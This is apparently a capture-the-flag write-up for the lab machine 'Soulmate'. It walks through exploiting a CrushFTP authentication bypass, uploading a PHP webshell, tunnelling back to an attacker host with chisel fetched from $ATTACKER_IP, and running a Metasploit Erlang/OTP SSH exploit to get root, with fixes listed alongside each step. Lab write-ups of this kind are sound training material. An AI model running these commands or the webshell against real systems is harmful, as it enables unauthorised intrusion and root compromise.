Soulmate
Summary
Only SSH and nginx were exposed, and Host-header fuzzing found a second virtual host, ftp.soulmate.htb, running CrushFTP 11. CVE-2025-31161, an authentication bypass in the WebInterface, let me create a new administrative account without credentials.
Logged in as that account, I found that the /WEBPROD/ share was writable and served by the main site, and wrote a PHP webshell there with a WebDAV PUT, giving one-shot command execution as www-data. Using the webshell, I found an Erlang/OTP SSH daemon listening only on 127.0.0.1:2222, exposed it with a chisel reverse tunnel, and ran Metasploit's CVE-2025-32433 module against it, which executed commands as root and read both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export TOKEN="<the-token-you-captured>"
export CHOSEN_PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
Full-port scan.
$ nmap -Pn -p- --min-rate 5000 -T4 $TARGETMaps both virtual hosts to the target.
$ printf "$TARGET soulmate.htb ftp.soulmate.htb\n" | sudo tee -a /etc/hosts >/dev/nullExact commands 2
-fs 154 hides the default response; ftp is the hit.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.soulmate.htb' -w subdomains-top1million-5000.txt -fs 154 -t 60Shows the CrushFTP WebInterface.
$ curl -sS -i --max-time 8 http://ftp.soulmate.htb/ | sed -n '1,80p'Exact commands 2
Confirms the target is vulnerable.
$ python3 52295.py --target ftp.soulmate.htb --port 80 --check --deep-check --verboseCreates the account with the name and password you pick.
$ python3 52295.py --target ftp.soulmate.htb --port 80 --exploit --new-user $USERNAME --password "$CHOSEN_PASSWORD" --target-user crushadmin --verboseFixPatch CrushFTP to close the authentication bypass (CVE-2025-31161)Critical
Exact commands 2
Logs in and stores the session in cj.
$ curl -c cj -b cj --resolve ftp.soulmate.htb:80:$TARGET "http://ftp.soulmate.htb/WebInterface/function/?command=login&username=$USERNAME&password=$CHOSEN_PASSWORD"$TOKEN is the c2f value CrushFTP issues with the session cookie.
$ curl -b cj --resolve ftp.soulmate.htb:80:$TARGET "http://ftp.soulmate.htb/WebInterface/function/?command=getXMLListing&path=/&c2f=$TOKEN"FixRemove write access to the web root from CrushFTP VFS sharesHigh
Exact commands 3
The webshell.
$ printf '%s' '<?php system($_GET["cmd"]); ?>' > cx.phpCurl -T sends a PUT, which CrushFTP handles as a WebDAV upload.
$ curl -sS -b cj --resolve ftp.soulmate.htb:80:$TARGET -T cx.php http://ftp.soulmate.htb/WEBPROD/cx.phpRuns one command per request as www-data.
$ curl --resolve soulmate.htb:80:$TARGET --get --data-urlencode "cmd=id" http://soulmate.htb/cx.phpFixBlock PHP execution in directories other services can write toCritical
Exact commands 3
On the attacking host.
$ chisel server -p 8001 --reverseSent through cx.php as the cmd value.
$ curl http://$ATTACKER_IP:9000/chisel -o /tmp/chisel && chmod +x /tmp/chiselSent through cx.php and run in the background; my 127.0.0.1:12222 now reaches the Erlang SSH daemon.
$ /tmp/chisel client $ATTACKER_IP:8001 R:12222:127.0.0.1:2222FixPatch Erlang/OTP SSH and stop running it as rootCritical
Exact commands 2
Runs against the tunnelled port; the command executes as root on the target.
$ msfconsole -q -x '
use exploit/linux/ssh/ssh_erlangotp_rce
set RHOSTS 127.0.0.1
set RPORT 12222
set TARGET 1
set PAYLOAD cmd/unix/generic
set CMD "/bin/sh -c '\''id > /tmp/erlang_id; cat /home/ben/user.txt > /tmp/userflag; cat /root/root.txt > /tmp/rootflag'\''"
run; exit'Sent through cx.php; shows uid=0(root), <user.txt> and <root.txt>.
$ cat /tmp/erlang_id /tmp/userflag /tmp/rootflagAttack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |